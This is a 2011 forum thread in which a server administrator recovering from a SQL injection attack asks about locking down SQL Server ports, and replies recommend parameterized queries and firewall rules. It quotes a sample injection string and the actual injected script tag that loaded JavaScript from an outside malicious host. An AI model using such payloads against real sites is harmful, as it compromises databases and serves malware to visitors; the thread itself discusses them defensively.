October 12, 2011 at 6:10 pm
Environment:
IIS6.0 W2003 server on one box delivering web pages to various sites - public access, W2008 R2, Sql2008 on a second box, both on the DMZ
I got hit with a sql injection. I've cleared it up and I'm trying to lock down my SQL server. If I deny access to ports 1433 or 1434, will the DSN requests from the IIS server still get through, and will the SQL server still deliver pages to the IIS server?
Thanks
October 13, 2011 at 11:13 am
If you block the port 1433, 1434, you need to make the change in your application connection string to add a new port otherwise you won't be able to connect to SQL Server
October 13, 2011 at 11:46 am
are you sure you mean SQL injection?
SQL injection happens whenan app or a web page accepts input from the page without parameters or data cleansing...building a string like "SELECT * FROM PRODUCTS WHERE PRODUCTNAME LIKE '%" + Webpage.SearchTerm. + "%' "
if i'm smart and know SQL, i can use that page to build a suite of commands on your server.
SELECT * FROM PRODUCTS WHERE PRODUCTNAME LIKE '%" + a';select from sys.tables;-- + "%' "
so even if you block the default ports, if the web pages have access, the sql injection would/could happen again unless the pages are updated to all use parameters instead.
Lowell
October 13, 2011 at 11:54 am
Yup. It was a SQL injection. It was inserted into all of my user input columns. The code follows with a space before the js so it doesn't execute.
</title><script src=http://jjghui.com/urchin. js ></script>
But that problem is solved. Now I want to lock down my SQL server so that it only talks to its replication partner and the IIS servers - othing else.
My understandin of SQL is that I don't necessarily need a port open if I have a DSN connection from an IIS server. Or am I wrong?
October 13, 2011 at 12:20 pm
By all means, lock it down the networking as much as you can, but Lowell's point is that even after closing down ports you don't need, you're still going to be vulnerable to SQL injection through the web application that can insert data into the database.
You need to refactor your web applications data access code to parameterize your queries and stored procedure calls.
October 13, 2011 at 12:26 pm
Yup. We're in the process of locking down the web pages. It's a real pain in the a**. What really surprised me was that we have no SQL queries, everything for talking to the SQL server is stored procedures, and the injection still got through.
Are you saying that I can deny access to 1433 and 1434 and the DSN will still work?
October 13, 2011 at 12:49 pm
My best guess is whether you use DSN or not isn't going to make any difference. You're going to either configure SQL to use a random port or a specific port for TCP traffic. Most common is 1433 which I believe is also the default for everything but SQL Express. If you're concerned about network vulnerabilities I think your best bet is to configure Windows Server firewall to only accept inbound traffic on that port from your web server and nowhere else.
If you didn't parametrize the stored procedure calls, you're still vulnerable. Everything I read about application vulnerabilities says that SQL Injection is still by far the most common problem so you're not alone in this.
At my last job the marketing dept had paid some consulting firm years ago to make them a custom CMS for their public facing website (I guess none of the hundreds of CMS' on the market met their needs :-P) and a few months ago it fell victim to SQL injection as well.
Depending upon what your web app is built with, switching from building your sproc calls with strings to using parameters will vary in difficulty, but for an app developer anything in PHP, ASP.NET, Java, etc. should be technically easy, though very mundane, work.
Good luck!
October 13, 2011 at 12:58 pm
Thanks for the help. I'll take a look at the Windows firewall as suggested.
Viewing 8 posts - 1 through 7 (of 7 total)
You must be logged in to reply to this topic. Login to reply